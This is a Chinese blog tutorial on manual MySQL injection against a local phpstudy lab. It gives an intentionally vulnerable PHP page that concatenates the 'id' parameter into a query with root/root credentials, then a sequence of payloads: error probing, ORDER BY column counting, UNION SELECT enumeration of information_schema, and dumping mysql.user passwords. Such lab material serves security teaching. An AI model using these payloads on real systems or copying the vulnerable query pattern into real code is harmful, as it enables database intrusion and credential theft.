mysql手工注入演示

版权声明:本文为博主原创文章,未经博主允许可以转载。 https://blog.csdn.net/helloexp/article/details/83001131

演示环境准备:

php环境,存在漏洞的php脚本,mysql数据库以及数据表

php环境直接使用phpstudy即可

存在漏洞的脚本文件   

<!DOCTYPE html>
<html>
<head>
	<title>sql注入测试页面</title>
</head>
<?php

header("Content-type:text/html;charset=utf-8"); 

$con = mysqli_connect("localhost","root","root","springdemo","3306");
if (!$con)
  {
  die('DB Could not connect: ' . mysql_error());
  }

  echo "数据库连接成功<br/>根据id值在数据库中查询用户信息<br/><br/>";
?>

<body>
<form action="" method="get">
	<input type="text" name="id" size="20">&nbsp;<input type="submit" value="ok" >
</form>
</body>
<?php

  $id=$_REQUEST['id'];

  $sql="select * from user where id=".$id;

  echo "您输入的sql语句为:".$sql;

$result = mysqli_query($con,$sql);

while($row = mysqli_fetch_array($result))
  {
  echo "<br/><hr>";
  echo $row['id'] . "<--->" . $row['name'];
  echo "<br />";
  }

mysqli_close($con);
?>

phpstudy自带mysql数据库,数据库表的创建如下:

create table user(
	id int auto_increment,
	name varchar(50) not null,
	age int,
	primary key(id)
)default charset=utf8;

insert into user(name,age) values ('曹操',50);
insert into user(name,age) values ('刘备',55);
insert into user(name,age) values ('孙权',40);

然后再随意插入几条测试数据即可

重头戏来了,开始演示环节

1、    ?id=10'
    根据报错信息大致判断数据库类型为mysql数据库

2、    ?id=10 and 1=1        ?id=10 and 1=2
    两个payload的返回结果不一致,确定id参数存在注入点

3、    ?id=10 order by 1    ?id=10 order by 111111
    根据两个payload的返回结果可以知道此处支持order by,可以缩短对查询列数的判断时间

4、    ?id=10 order by 10
    程序报错,说明列数在1-10之间,后续二分法逐步查找   ?id=10 order by 6    ?id=10 order by 4        在?id=10 order by 3的时候程序返回正常,说明列数为3

5、    ?id=10 union all select 1,2,3
    判断数据在页面显示的位置,可以发现1,2 在页面显示,表明前两列可以作为后续查询使用

6、    ?id=10 union all select 1,schema_name,3 from information_schema.schemata
    查询出所有数据库的库名

7、    ?id=10 union all select user,password,3 from mysql.user
    查询mysql数据库的用户信息

8、    后续省略

猜你喜欢

转载自blog.csdn.net/helloexp/article/details/83001131
今日推荐